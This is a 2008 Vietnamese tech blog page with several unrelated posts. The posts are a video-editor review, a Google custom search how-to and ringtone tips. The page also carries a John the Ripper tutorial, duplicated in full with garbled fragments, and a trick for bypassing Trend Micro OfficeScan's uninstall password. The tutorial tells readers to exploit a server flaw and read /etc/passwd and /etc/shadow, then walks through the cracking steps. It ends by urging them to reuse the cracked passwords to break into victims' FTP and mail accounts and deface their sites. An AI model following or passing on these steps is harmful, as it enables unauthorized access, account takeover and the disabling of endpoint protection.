Sunday, October 26, 2008
Chỉnh sửa và chia sẻ video trực tuyến với BrushVideo
Thông thường, việc chỉnh sửa 1 file video không hề đơn giản với những ai không quá rành rõi về máy tính. Tuy nhiên, với BrushVideo, mọi thứ đều được đơn giản hóa đến mức thấp nhất để mọi người đều có thể sử dụng.
BrushVideo một dịch vụ miễn phí cho phép bạn dễ dàng chỉnh sửa những video clip và upload nó lên Youtube để chia sẽ. Nó bao gồm một giao diện quen thuộc cùng nhiều công cụ chỉnh sửa video hiện đại nhất, cộng thêm những tính năng kéo thả đơn giản để tiến hành trên đoạn clip.
Để bắt đầu, bạn cần upload một video (kích cỡ tối đa hiện tại là 100MB). Có 2 hình thức upload: (Trang web hỗ trợ các định dạng video cơ bản như mpg, avi, wmv, flv, mp4, 3gp, mpeg, mov)
- Upload video trực tiếp từ máy tính của bạn: Click vào nút Upload file và tìm đến file cần chỉnh sửa.
- Upload file từ 1 server khác: dán đường link chứa đoạn clip cần chỉnh sửa vào khung ở bên dưới và click vào Upload.
BrushVideo sẽ mất khoảng từ 1 đến 2 phút để upload clip cần chỉnh sửa. Sau đó bạn có thể bắt đầu sử dụng thanh công cụ ở bên trái của trang web, để tiến hành chỉnh sửa. Bạn có thể thêm vào clip các đoạn text, hình ảnh, thêm màu sắc hay hiệu ứng…
Sau khi đã tiến hành chỉnh sửa đoạn clip theo mong muốn, bạn click vào Save Project để BrushVideo tự động upload video lên YouTube hay thậm chí là Facebook và MySpace, hoặc BrushVideo sẽ cung cấp đoạn mã HTML chứa đoạn clip vừa chỉnh sửa để bạn có thể chèn vào trang web hay blog nào mà mình muốn. Ngoài ra, bạn cũng có thể download đoạn clip vừa chỉnh sửa về máy.
Dưới đây là các tính năng chính là BrushVideo có thể mang đến cho bạn:
- Đầu tiên bạn upload video và thêm những đoạn thoại hay những họa tiết cho video của bạn
- Chèn ảnh hoặc những hình động vào video của bạn
- Chương trình có một ứng dụng paint, bạn có thể sử dụng nó để vẽ hoặc viết lên phía trên đỉnh của video
- Thêm những hiệu ứng cho đoạn clip của bạn thêm sinh động ví dụ như làm mờ màu sắc trong video, đen trắng, làm hình ảnh trở nên cổ xưa với tông nâu đỏ và nhiều hiệu ứng khác nữa…
- Loại audio có sẵn trong video, thêm vào những âm thanh mà bạn muốn hoặc những hiệu ứng âm thanh khác vào đoạn clip.
- Nếu bạn có webcam, bạn có thể sử dụng Brush Video để trực tiếp thu hình ảnh từ webcam và thêm nó vào bộ phim của bạn
Hiện nay, BrushVideo chỉ cho phép bạn thực hiện một video với độ dài tối đa là 5 phút. Hy vọng rằng trong tương lai sẽ có phiên bản mới hơn, cho phép chúng ta thực hiện một video với bất cứ độ dài nào mà mình muốn. Tuy nhiên, với phần lớn nhiều người, thì 5 phút là quá đủ cho 1 đoạn clip hoàn chỉnh.
Nhìn chung, tuy vẫn còn giới hạn về mặt thời gian, nhưng cần phải thừa nhận rằng BrushVideo là dịch vụ rất hữu ích cho những ai muốn tạo 1 video clip mang phong cách riêng nhưng lại không quá thành thạo về các công cụ chỉnh sửa.
Friday, October 24, 2008
Hướng dẫn bẻ mật khẩu của Unix bằng John The Ripper
Hướng dẫn bẻ mật khẩu của Unix bằng John The Ripper
I. Lấy file passwd
Bạn có thể khai thác một lỗ hỏng bảo mật trên server, chẳng hạn như chỗ yếu cgi hoặc lỗi tràn bộ đệm, ... sau đó get file /etc/passwd & /etc/shadow
TH1: nếu passwd chưa bị shadow
cat /etc/passwd > password.txt
* nếu server đang chạy NFS, bạn phải dùng ypcat(yellow pages cat) & grep -s thay cho cat:
ypcat /etc/passwd | grep s > password.txt
TH2: nếu passwd đã bị shadow, bạn phải cat cả file /etc/passwd & /etc/shadow, sau đó unshadow cho passwd:
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > password.txt
II. Crack file passwd
Trước khi crack file passwd, tôi muốn giới thiệu sơ lược cho bạn về format của file passwd. Đây là một file text chứa các thông tin về user trên server. Mỗi dòng trong file này có dạng như sau:
LWait:0m8Car45jNxHQ:1000:2000:John Doe:/home/litewait:/bin/csh
LWaitlogin name0m8Car45jNxHQencrypted passwd1000user id2000group idJohn Doereal name/home/litewaithome dir/bin/cshshell* encrypted passwd=="*" -> account này đã bị vô hiệu, đừng mất công để crack passwd của account này!
* encrypted passwd=="+" -> passwd đã bị shadow, bạn phải unshadow trước khi crack
Ok, bây giờ chúng ta sẽ crack file password.txt! Có 4 cách để crack passwd:
1. Single crack
- được dùng để crack các weak passwd
C:\john>john -single password.txt
Loaded 585 passwords with 128 different salts (Standard DES [24/32k])
thomas (mrice)
guesses: 1 time: 0:00:00:44 29% c/s: 86654 trying: bja$on - m4ry4nnr
guesses: 1 time: 0:00:06:27 100% c/s: 33653 trying: aamy1961 - bamy1969
( password.txt: file passwd cần crack)
JTR vừa crack được 1 passwd "thomas" của username "mrice"(passwd luôn đứng trước username). JTR cũng đang đoán các passwd từ bja$on -> m4ry4nnr. 1961, 1969? "Rất có thể có năm sinh của user trong passwd", JTR nghĩ vậy đó
2. Crack bằng wordlist (+ rules)
- JTR đã có sẵn file wordlist "password.lst"! Bạn không cần phải thêm vào những từ đại loại như "tEST", "Test", ... Chỉ cần một từ "test" trong file wordlist là đủ. Khi crack bằng wordlist có dùng thêm rules, JTR sẽ tự động dùng thêm "tEST", "Test", ..., "test123", ... để đoán passwd!
C:\john>john password.txt -w
assword.lst -rules
Loaded 584 passwords with 128 different salts (Standard DES [24/32 4K])
julianne (thutchcr)
mizzou (slymer)
hal9000 (csalzman)
hammer (preardon)
scoobydo (sfuemmel)
mylord (gdessieu)
scoobydo (jreynold)
guesses: 7 time: 0:00:00:46 100% c/s: 100468 trying: owl - 0wl
(-w:)
JTR vừa đoán được 8 passwd!
* Cách đặt luật cho JTR: để đặt luật cho chế độ crack bằng wordlist, bạn hãy hiệu chỉnh phần "List.Rules:Wordlist" trong file cấu hình của JTR, "john.ini"
# Wordlist mode rules[List.Rules:Wordlist]
(tất cả các dòng bắt đầu bằng dấu # trong file john.ini được coi là các dòng chú thích)
Xem các ví dụ sau sẽ rõ về cách đặt luật cho JTR!
>4<7
chỉ chọn các từ có chiều dài >4 && <7>6 kí tự
>5<7lc
chỉ kiểm tra các từ dài 6 kí tự, sau đó viết thường(lowercase) & viết hoa kí tự đầu tiên(capital), aBcDeF -> Abcdef
l<9/ese3
lowercase và swap 'e' thành '3'; loại bỏ các từ không chứa 'e' hoặc dài hơn 8 kí tự, tesT -> t3st
>2<4/isi1
lowercase và swap 'i' thành '1'; loại bỏ các từ không chứa 'i' hoặc không dài đúng 3 kí tự
l<8/isi1^[0-9]
lowercase, swap 'i' thành '1' và thêm 0-9 vào đầu; loại bỏ các từ không chứa 'i' hoặc dài quá 7 kí tự, Vicki -> 0v1ck1, 1v1ck1, 2v1ck1, ..., 9v1ck1
'7/ese3/isi1$[0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, swap 'e' thành 3 và 'i' thành '1', sau đó thêm 0-9 vào cuối; loại bỏ các từ không chứa 'i' & 'e', zhaowei-ww -> zhaow310, zhaow311, ..., zhaow319
>4<6t1^[0-9]^[0-9]
từ phải dài 5 kí tự, đổi kiểu chữ của kí tự thứ 2(ở vị trí 1), sau đó thêm 0-9, 0-9(hai số sau của năm sinh) vào đầu, vIcki -> 00vicki, 10vicki, ..., 99vicki
'7T0$[aeiou0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, đổi kiểu chữ của kí tự thứ 1(ở vị trí 0), sau đó thêm các nguyên âm hoặc 0-9 vào sau, zhaowei1976 -> Zhaoweia, Zhaoweie, ... Zhaowei0, ..., Zhaowei9
i0[v]i3[k]
chèn 'v' vào vị trí 0 và 'k' vào vị trí 3, ici -> vicki
o4[123]
ghi đè lên kí tự thứ 5(ở vị trí 4) bằng '1', '2' hoặc '3', zhaowei -> zhao1ei, zhao2ei, zhao3ei
=0?d$7
bỏ qua các từ không bắt đầu bằng 1 digit, thêm 7 vào sau, 7vicki -> 7vicki7
@?w
xoá bỏ các kí tự trắng, zhao wei -> zhaowei
%2i
chỉ chọn các từ có 2 chữ 'i' trở lên, vicki -> vicki
Bạn có thể tìm thấy nhiều ví dụ khác trong file john.ini và tài liệu đi kèm của JTR. Nếu bạn muốn xem output của các luật mà bạn đã đặt, hãy nhập vào:
john -w:wordfile.dic -rules -stdout > output.file
3. Incremental crack
- chế độ này cho phép bạn đoán tất cả các khả năng của passwd. Bạn dùng tùy chọn -i: như sau:
john password.txt -i:all
thử hết mọi khả năng
john password.txt -i:alpha
passwd chỉ gồm các kí tự alpha(a-z)
john password.txt -i
igits
passwd chỉ gồm các kí tự số(0-9)
Để cấu hình cho chế độ "Incremental", bạn hãy hiệu chỉnh phần "Incremental" trong file john.ini
[Incremental:All]
File = ~/all.chr
MinLen = 0
MaxLen = 8
CharCount = 95
[Incremental:Alpha]
File = ~/alpha.chr
MinLen = 1
MaxLen = 8
CharCount = 26
[Incremental
igits]
File = ~/digits.chr
MinLen = 1
MaxLen = 8
CharCount = 10
* Ngoài các tập kí tự mặc định all.chr, alpha.chr, digits.chr, ..., bạn có thể xây dựng cho mình một tập kí tự riêng để dùng trong chế độ crack "Incremental". Ở đây, tôi làm thử một ví dụ cho bạn thấy!
Đầu tiên, chúng ta cần backup file john.pot. File này chứa các passwd vừa bị crack!
copy john.pot john.bak
del john.pot
Giờ thì bạn mở Notepad, tạo file john.pot mới với nội dung như sau:
:betyouca
:ng351
Lưu ý, mỗi dòng trong file john.pot phải bắt đầu bằng một dấu ":", tiếp theo là các kí tự. Chiều dài tối đa của các kí tự trên một dòng(trừ dấu ":") là 8, tương ứng với maxlength của unix plaintext passwd!
Lưu file john.pot và chạy JTR:
C:\john>john -make:betyou.chr
Loaded 2 plaintexts
Generating cracking order... DONE
Successfully written charset file: betyou.chr (13 characters)
Chúng ta vừa tạo xong file tập kí tự có tên là betyour.chr. Bây giờ bạn hãy hiệu chỉnh file john.ini, đến phần "Incremental" và thêm vào các dòng sau:
[Incremental:betyou]
File = ~/betyou.chr
MinLen = 3
MaxLen = 7
CharCount = 13
File=~/betyou.chr(file tập kí tự, ~/ == home dir)
MinLen=3 & MaxLen=7 -> JTR chỉ đoán các passwd có chiều dài từ 3->7 kí tự
CharCount=13 -> số kí tự có trong tập kí tự này, đây là số mà thấy khi tạo file betyou.chr ở trước. Nếu bạn gán CharCount=100, JTR sẽ báo lỗi "chỉ có thể load được x kí tự". Hãy thay thế 100 bằng x
Đến đây, chúng ta có thể sử dụng tập kí tự mới để crack passwd. Bạn hãy nhập vào:
john password.txt -i:betyou
4. External crack
JTR còn cho phép bạn lập trình để crack passwd. Cú pháp lệnh y chang như của C vậy. Bạn hãy xem ví dụ sau, nó có nhiệm vụ lọc các từ có chứa kí tự alpha(a-z).
[List.External:Filter_Alpha]
void filter()
{
int i, c;
i = 0;
while (c = word[i++])
if (c < 'a' || c > 'z') {
word = 0; return;
}
}
Chi tiết về chế độ crack này, bạn xem thêm trong tài liệu hướng dẫn đi kèm của JTR!
Tôi muốn nói thêm với các bạn một số vấn đề khác có liên quan khi crack passwd bằng JTR!
- nếu bạn chỉ muốn crack các user hoặc group cụ thể nào đó, hãy dùng tùy chọn -user hoặc -group(xem ví dụ sau)
john password.txt -user:LWait
chỉ crack passwd của user "LWait"
john password.txt -group:123 -i:custom
chỉ crack passwd của các user trong group có ID là 123
- crack passwd là một công việc tốn khá nhiều thời gian, có khi phải lên đến mấy ngày trời mới crack được vài passwd. Để tạm dừng tiến trình crack hiện tại, bạn hãy ấn Ctrl-C. Khi nào rãnh, bạn có thể restore lại tiến trình bằng cách gõ vào:
john -restore
- nếu bạn muốn crack nhiều file passwd cùng một lúc, bạn có thể sử dụng tùy chọn -session để làm việc đa phiên:
john session:zebpasses
Để restore lại session zebpasses, hãy nhập vào:
john -restore:zebpasses
Nếu bạn cần xem tiến độ crack của session này, hãy nhập vào:
john -status:zebpasses
Hoặc nếu bạn muốn biết JTR đã crack được bao nhiêu passwd trong file password.txt, hãy nhập vào:
john -show password.txt
- trong khi crack, bạn có thể bấm phím space để xem tiến độ crack. Nếu bạn thích JTR kêu bíp một cái khi vừa crack xong một passwd, hãy hiểu chỉnh phần "Options" trong file john.ini như sau:
[Options]
...
Beep = Y
...
- Bạn có muốn tăng tốc cho tiến trình crack không? Đừng nên mở nhiều chương trình khác khi đang chạy JTR. Nếu bạn đang chạy JTR trên Windows, hãy thay thế file john.exe bằng file mới trong file john-mmx.zip nếu chip CPU của bạn là Pentium hoặc trong file john-k6.zip nếu bạn đang dùng chip của AMD. Nếu bạn đang xài Linux, hãy tận dụng ngay sức mạnh của Linux. JTR phá passwd khá nhanh trên Linux
III. Sử dụng các passwd đã bị crack
Nhiều người thường sử dụng y chang một passwd để login telnet, ftp hay pop3(mail). Vì vậy, bạn có thể thử passwd này để login vào ftp account của họ, thay đổi trang web của họ hay để lại vài lời nhắn trong mailbox của họ!
(theo hackerviet.org)
Click thanks nhé!
ref: http://thegioiit.chipvn.org/showthread.php?t=267
Bạn có thể khai thác một lỗ hỏng bảo mật trên server, chẳng hạn như chỗ yếu cgi hoặc lỗi tràn bộ đệm, ... sau đó get file /etc/passwd & /etc/shadow
TH1: nếu passwd chưa bị shadow
cat /etc/passwd > password.txt
* nếu server đang chạy NFS, bạn phải dùng ypcat(yellow pages cat) & grep -s thay cho cat:
ypcat /etc/passwd | grep s > password.txt
TH2: nếu passwd đã bị shadow, bạn phải cat cả file /etc/passwd & /etc/shadow, sau đó unshadow cho passwd:
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > password.txt
II. Crack file passwd
Trước khi crack file passwd, tôi muốn giới thiệu sơ lược cho bạn về format của file passwd. Đây là một file text chứa các thông tin về user trên server. Mỗi dòng trong file này có dạng như sau:
LWait:0m8Car45jNxHQ:1000:2000:John Doe:/home/litewait:/bin/csh
LWaitlogin name0m8Car45jNxHQencrypted passwd1000user id2000group idJohn Doereal name/home/litewaithome dir/bin/cshshell* encrypted passwd=="*" -> account này đã bị vô hiệu, đừng mất công để crack passwd của account này!
* encrypted passwd=="+" -> passwd đã bị shadow, bạn phải unshadow trước khi crack
Ok, bây giờ chúng ta sẽ crack file password.txt! Có 4 cách để crack passwd:
1. Single crack
- được dùng để crack các weak passwd
C:\john>john -single password.txt
Loaded 585 passwords with 128 different salts (Standard DES [24/32k])
thomas (mrice)
guesses: 1 time: 0:00:00:44 29% c/s: 86654 trying: bja$on - m4ry4nnr
guesses: 1 time: 0:00:06:27 100% c/s: 33653 trying: aamy1961 - bamy1969
( password.txt: file passwd cần crack)
JTR vừa crack được 1 passwd "thomas" của username "mrice"(passwd luôn đứng trước username). JTR cũng đang đoán các passwd từ bja$on -> m4ry4nnr. 1961, 1969? "Rất có thể có năm sinh của user trong passwd", JTR nghĩ vậy đó
2. Crack bằng wordlist (+ rules)
- JTR đã có sẵn file wordlist "password.lst"! Bạn không cần phải thêm vào những từ đại loại như "tEST", "Test", ... Chỉ cần một từ "test" trong file wordlist là đủ. Khi crack bằng wordlist có dùng thêm rules, JTR sẽ tự động dùng thêm "tEST", "Test", ..., "test123", ... để đoán passwd!
C:\john>john password.txt -w
assword.lst -rulesLoaded 584 passwords with 128 different salts (Standard DES [24/32 4K])
julianne (thutchcr)
mizzou (slymer)
hal9000 (csalzman)
hammer (preardon)
scoobydo (sfuemmel)
mylord (gdessieu)
scoobydo (jreynold)
guesses: 7 time: 0:00:00:46 100% c/s: 100468 trying: owl - 0wl
(-w:
JTR vừa đoán được 8 passwd!
* Cách đặt luật cho JTR: để đặt luật cho chế độ crack bằng wordlist, bạn hãy hiệu chỉnh phần "List.Rules:Wordlist" trong file cấu hình của JTR, "john.ini"
# Wordlist mode rules[List.Rules:Wordlist]
(tất cả các dòng bắt đầu bằng dấu # trong file john.ini được coi là các dòng chú thích)
Xem các ví dụ sau sẽ rõ về cách đặt luật cho JTR!
>4<7
chỉ chọn các từ có chiều dài >4 && <7>6 kí tự
>5<7lc
chỉ kiểm tra các từ dài 6 kí tự, sau đó viết thường(lowercase) & viết hoa kí tự đầu tiên(capital), aBcDeF -> Abcdef
l<9/ese3
lowercase và swap 'e' thành '3'; loại bỏ các từ không chứa 'e' hoặc dài hơn 8 kí tự, tesT -> t3st
>2<4/isi1
lowercase và swap 'i' thành '1'; loại bỏ các từ không chứa 'i' hoặc không dài đúng 3 kí tự
l<8/isi1^[0-9]
lowercase, swap 'i' thành '1' và thêm 0-9 vào đầu; loại bỏ các từ không chứa 'i' hoặc dài quá 7 kí tự, Vicki -> 0v1ck1, 1v1ck1, 2v1ck1, ..., 9v1ck1
'7/ese3/isi1$[0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, swap 'e' thành 3 và 'i' thành '1', sau đó thêm 0-9 vào cuối; loại bỏ các từ không chứa 'i' & 'e', zhaowei-ww -> zhaow310, zhaow311, ..., zhaow319
>4<6t1^[0-9]^[0-9]
từ phải dài 5 kí tự, đổi kiểu chữ của kí tự thứ 2(ở vị trí 1), sau đó thêm 0-9, 0-9(hai số sau của năm sinh) vào đầu, vIcki -> 00vicki, 10vicki, ..., 99vicki
'7T0$[aeiou0-9]
xén bớt các kí tự bên phải của các từ dài hơn 8 kí tự, đổi kiểu chữ của kí tự thứ 1(ở vị trí 0), sau đó thêm các nguyên âm hoặc 0-9 vào sau, zhaowei1976 -> Zhaoweia, Zhaoweie, ... Zhaowei0, ..., Zhaowei9
i0[v]i3[k]
chèn 'v' vào vị trí 0 và 'k' vào vị trí 3, ici -> vicki
o4[123]
ghi đè lên kí tự thứ 5(ở vị trí 4) bằng '1', '2' hoặc '3', zhaowei -> zhao1ei, zhao2ei, zhao3ei
=0?d$7
bỏ qua các từ không bắt đầu bằng 1 digit, thêm 7 vào sau, 7vicki -> 7vicki7
@?w
xoá bỏ các kí tự trắng, zhao wei -> zhaowei
%2i
chỉ chọn các từ có 2 chữ 'i' trở lên, vicki -> vicki
Bạn có thể tìm thấy nhiều ví dụ khác trong file john.ini và tài liệu đi kèm của JTR. Nếu bạn muốn xem output của các luật mà bạn đã đặt, hãy nhập vào:
john -w:wordfile.dic -rules -stdout > output.file
3. Incremental crack
- chế độ này cho phép bạn đoán tất cả các khả năng của passwd. Bạn dùng tùy chọn -i:
john password.txt -i:all
thử hết mọi khả năng
john password.txt -i:alpha
passwd chỉ gồm các kí tự alpha(a-z)
john password.txt -i
igitspasswd chỉ gồm các kí tự số(0-9)
Để cấu hình cho chế độ "Incremental", bạn hãy hiệu chỉnh phần "Incremental" trong file john.ini
[Incremental:All]
File = ~/all.chr
MinLen = 0
MaxLen = 8
CharCount = 95
[Incremental:Alpha]
File = ~/alpha.chr
MinLen = 1
MaxLen = 8
CharCount = 26
[Incremental
igits]File = ~/digits.chr
MinLen = 1
MaxLen = 8
CharCount = 10
* Ngoài các tập kí tự mặc định all.chr, alpha.chr, digits.chr, ..., bạn có thể xây dựng cho mình một tập kí tự riêng để dùng trong chế độ crack "Incremental". Ở đây, tôi làm thử một ví dụ cho bạn thấy!
Đầu tiên, chúng ta cần backup file john.pot. File này chứa các passwd vừa bị crack!
copy john.pot john.bak
del john.pot
Giờ thì bạn mở Notepad, tạo file john.pot mới với nội dung như sau:
:betyouca
:ng351
Lưu ý, mỗi dòng trong file john.pot phải bắt đầu bằng một dấu ":", tiếp theo là các kí tự. Chiều dài tối đa của các kí tự trên một dòng(trừ dấu ":") là 8, tương ứng với maxlength của unix plaintext passwd!
Lưu file john.pot và chạy JTR:
C:\john>john -make:betyou.chr
Loaded 2 plaintexts
Generating cracking order... DONE
Successfully written charset file: betyou.chr (13 characters)
Chúng ta vừa tạo xong file tập kí tự có tên là betyour.chr. Bây giờ bạn hãy hiệu chỉnh file john.ini, đến phần "Incremental" và thêm vào các dòng sau:
[Incremental:betyou]
File = ~/betyou.chr
MinLen = 3
MaxLen = 7
CharCount = 13
File=~/betyou.chr(file tập kí tự, ~/ == home dir)
MinLen=3 & MaxLen=7 -> JTR chỉ đoán các passwd có chiều dài từ 3->7 kí tự
CharCount=13 -> số kí tự có trong tập kí tự này, đây là số mà thấy khi tạo file betyou.chr ở trước. Nếu bạn gán CharCount=100, JTR sẽ báo lỗi "chỉ có thể load được x kí tự". Hãy thay thế 100 bằng x
Đến đây, chúng ta có thể sử dụng tập kí tự mới để crack passwd. Bạn hãy nhập vào:
john password.txt -i:betyou
4. External crack
JTR còn cho phép bạn lập trình để crack passwd. Cú pháp lệnh y chang như của C vậy. Bạn hãy xem ví dụ sau, nó có nhiệm vụ lọc các từ có chứa kí tự alpha(a-z).
[List.External:Filter_Alpha]
void filter()
{
int i, c;
i = 0;
while (c = word[i++])
if (c < 'a' || c > 'z') {
word = 0; return;
}
}
Chi tiết về chế độ crack này, bạn xem thêm trong tài liệu hướng dẫn đi kèm của JTR!
Tôi muốn nói thêm với các bạn một số vấn đề khác có liên quan khi crack passwd bằng JTR!
- nếu bạn chỉ muốn crack các user hoặc group cụ thể nào đó, hãy dùng tùy chọn -user hoặc -group(xem ví dụ sau)
john password.txt -user:LWait
chỉ crack passwd của user "LWait"
john password.txt -group:123 -i:custom
chỉ crack passwd của các user trong group có ID là 123
- crack passwd là một công việc tốn khá nhiều thời gian, có khi phải lên đến mấy ngày trời mới crack được vài passwd. Để tạm dừng tiến trình crack hiện tại, bạn hãy ấn Ctrl-C. Khi nào rãnh, bạn có thể restore lại tiến trình bằng cách gõ vào:
john -restore
- nếu bạn muốn crack nhiều file passwd cùng một lúc, bạn có thể sử dụng tùy chọn -session để làm việc đa phiên:
john session:zebpasses
Để restore lại session zebpasses, hãy nhập vào:
john -restore:zebpasses
Nếu bạn cần xem tiến độ crack của session này, hãy nhập vào:
john -status:zebpasses
Hoặc nếu bạn muốn biết JTR đã crack được bao nhiêu passwd trong file password.txt, hãy nhập vào:
john -show password.txt
- trong khi crack, bạn có thể bấm phím space để xem tiến độ crack. Nếu bạn thích JTR kêu bíp một cái khi vừa crack xong một passwd, hãy hiểu chỉnh phần "Options" trong file john.ini như sau:
[Options]
...
Beep = Y
...
- Bạn có muốn tăng tốc cho tiến trình crack không? Đừng nên mở nhiều chương trình khác khi đang chạy JTR. Nếu bạn đang chạy JTR trên Windows, hãy thay thế file john.exe bằng file mới trong file john-mmx.zip nếu chip CPU của bạn là Pentium hoặc trong file john-k6.zip nếu bạn đang dùng chip của AMD. Nếu bạn đang xài Linux, hãy tận dụng ngay sức mạnh của Linux. JTR phá passwd khá nhanh trên Linux
III. Sử dụng các passwd đã bị crack
Nhiều người thường sử dụng y chang một passwd để login telnet, ftp hay pop3(mail). Vì vậy, bạn có thể thử passwd này để login vào ftp account của họ, thay đổi trang web của họ hay để lại vài lời nhắn trong mailbox của họ!
(theo hackerviet.org)
Click thanks nhé!
ref: http://thegioiit.chipvn.org/showthread.php?t=267
Thursday, October 23, 2008
Wednesday, October 15, 2008
Vài bước đơn giản để tạo Search Engine trên Google
Dường như, cái tên Google trở nên quá đỗi thân thuộc với tất cả cư dân mạng và thậm chí được chọn làm trang chủ. Việc tìm kiếm nhờ công cụ Google đã là quá phổ biến, tuy nhiên quá nhiều kết quả đưa ra khiến chính bản thân bạn bối rối và phải tự mình ngồi lọc ra những thông tin cần thiết. Khi sử dụng công cụ tìm kiếm Search Engine, bạn sẽ dễ dàng tìm được những thông tin mình mong muốn, mà không phải bận tâm đến những kết quả không cần thiết.
Bước 1: Tạo tài khoản
Bước 1: Tạo tài khoản
Bạn hãy vào http://www.google.com.vn, chọn nhãn đăng nhập, chọn tạo một tài khoản ngay bây giờ.
Nhập đầy đủ các thông tin cần thiết.
Nhập đầy đủ các thông tin cần thiết.
Cuối cùng, bạn vào hòm thư để kích hoạt tài khoản của mình.
Bước 2: Tạo search engine
Bạn đăng nhập vào tài khoản vừa kích hoạt từ hòm thư.
Chọn nhãn tài khoản của tôi. Trong tài khoản của mình, bạn hãy chọn công cụ tìm kiếm của tôi.
Bước 2: Tạo search engine
Bạn đăng nhập vào tài khoản vừa kích hoạt từ hòm thư.
Chọn nhãn tài khoản của tôi. Trong tài khoản của mình, bạn hãy chọn công cụ tìm kiếm của tôi.
Để lập một công cụ tìm kiếm của riêng mình, bạn hãy vào công cụ tìm kiếm mới
Tại đây, bạn điền các thông tin cơ bản theo như chỉ dẫn
Chú ý: Ở phần Chọn một số trang web, bạn hãy nhập các URL đến các trang web mà bạn muốn tìm kiếm. Ví dụ như, bạn chỉ muốn tìm kiếm thông tin trong 3 trang:
http://www.xahoithongtin.com.vn/home.html
http://www.vnexpress.net/GL/Home/
http://dantri.com.vn/cong-nghe.vip
hãy nhập các URL này vào khung và chú ý mỗi URL là một dòng.
Tại đây, bạn điền các thông tin cơ bản theo như chỉ dẫn
Chú ý: Ở phần Chọn một số trang web, bạn hãy nhập các URL đến các trang web mà bạn muốn tìm kiếm. Ví dụ như, bạn chỉ muốn tìm kiếm thông tin trong 3 trang:
http://www.xahoithongtin.com.vn/home.html
http://www.vnexpress.net/GL/Home/
http://dantri.com.vn/cong-nghe.vip
hãy nhập các URL này vào khung và chú ý mỗi URL là một dòng.
Như vậy là về cơ bản bạn đã tự tạo được cho mình một công cụ tìm kiếm rùi. Hãy click vào nút hoàn tất và thử ngiệm nào.
Bước 3: Sử dụng
Bước 3: Sử dụng
Hoàn tất bước 1 và bước 2, bạn đã tự tạo xong cho mình một công cụ tìm kiếm, hãy sử dụng và vứt bỏ nỗi lo lắng về những kết quả thừa mà bạn không mong muốn.
Công cụ này sẽ thật sự hữu ích khi bạn chỉ muốn tìm kiếm thông tin từ những trang web chính thống hay yêu thích mà không muốn những thông tin từ các diễn đàn hay các trang web “lá cải”. Bạn cũng có thể thay đổi những cài đặt về công cụ tìm kiếm của bạn trong bảng điều khiển. Việc tạo ra một giao diện mới bằng những hình ảnh và màu sắc bạn ưa thích cho công cụ tìm kiếm chắc chắn cũng sẽ mang lại rất nhiều thú vị!
Hãy tạo cho mình một “account” và sử dụng “người bạn” này cho việc tìm kiếm thông tin của bạn!
ref: http://www.blog-congnghe.com/
ref: http://www.blog-congnghe.com/
Tuesday, October 7, 2008
ABBYY PDF TRANSFORMER 2.0
| ABBYY PDF TRANSFORMER 2.0 - Chuyển đổi qua office cực mạnh | ||||
Đa số những quyền sách dạng PDF sau này do bảo vệ bản quyền (copyright) bằng mật mã, nên dù bạn có dùng các phần mềm như PDF converter 20, Solid PDF converter 3.1 hoặc PDF word 20, để chuyển qua Word gì chăng nữa. Dù bạn có chuyển qua Word rồi, chúng cũng vẫn là file hình ảnh, nên bạn khó lòng xem lại từng dòng hoặc dịch thuật, chỉnh sửa lại gì được.
ref: http://www.3c.com.vn/Story/vn/hotrokhachhang/traodoikinhnghiem/legungdungvanphong/2008/4/39402.html |
Remove Trend Micro OfficeScan password
Dành cho các bạn đang sử dụng phần mềm diệt virus Trend Micro OfficeScan nhưng do người khác install vào máy và đặt pass, muốn remove pm này :
1. Mở file C:\WINNT\Ofcscan.ini hoặc trong C:\Program Files\... bằng notepad
2. tìm đến [INI_CLIENT_SECTION]
3. Tại dòng Uninstall_Pwd= đánh dấu # tại đầu dòng.
4. Chèn thêm dòng Uninstall_Pwd=70
5. Save the Ofcscan.ini
6. Thử uninstall. Khi xuất hiện hộp thoại đòi nhập pass, chỉ việc đánh '1' .
Unload : tương tự như trên. Nhưng thay "uninstall" = "unload" tại bước 3, 4.
ref: http://www.tinhte.vn/forum/showthread.php?p=599610
1. Mở file C:\WINNT\Ofcscan.ini hoặc trong C:\Program Files\... bằng notepad
2. tìm đến [INI_CLIENT_SECTION]
3. Tại dòng Uninstall_Pwd= đánh dấu # tại đầu dòng.
4. Chèn thêm dòng Uninstall_Pwd=70
5. Save the Ofcscan.ini
6. Thử uninstall. Khi xuất hiện hộp thoại đòi nhập pass, chỉ việc đánh '1' .
Unload : tương tự như trên. Nhưng thay "uninstall" = "unload" tại bước 3, 4.
ref: http://www.tinhte.vn/forum/showthread.php?p=599610
Thay nhạc chờ FunRing miễn phí
Sau trào lưu ColorRing của S-Fone, MobiFone cũng đã cung cấp dịch vụ FunRing cho toàn bộ thuê bao đang sử dụng trên hệ thống. FunRing của MobiFone có ưu điểm nổi bật là bài hát luôn cập nhật, “hot” và cho bạn đăng ký cài đặt trực tuyến qua mạng.
Để đăng ký, thay đổi bài hát nhạc chờ, bạn gởi tin nhắn tới tổng đài 9224, bạn sẽ bị tính cước đăng ký và thay đổi (2.000 đồng/lần). Chính vì điều này mà nhiều người sử dụng hạn chế thay đổi để tiết kiệm.
Tuy nhiên, có một cách cho bạn thay đổi nhạc chờ FunRing theo từng bản nhạc, cho từng lần gọi mà không phải mất phí thay đổi mà chỉ mất phí thuê bao ngày. Khi đó, nhạc chờ của bạn sẽ thay đổi liên tục mỗi khi có người gọi. Rất hay và thú vị cho người sử dụng dịch vụ này vì mỗi lần thay đổi họ không phải mất phí và không cố định cho một bản nhạc.
Để cài đặt theo cách trên, bạn sử dụng mật khẩu do MobiFone gởi đến (bao gồm 4 chữ số) khi đăng ký sử dụng dịch vụ FunRing và đăng nhập vào trang web FunRing tại www.mobifone.com.vn/crbtuser_v/ với username là số điện thoại đăng ký và password là số do MobiFone cung cấp.
Tiếp theo, bạn chọn vào một mục bất kỳ trong phần FunRing Menu như FunRing mới, FunRing được yêu thích, Bài hát Việt Nam, Bài hát quốc tế, và Hiệu ứng âm thanh. Bạn nhìn bên góc phải sẽ thấy thêm một menu là cài đặt nâng cao. Bạn click chọn vào mục này.
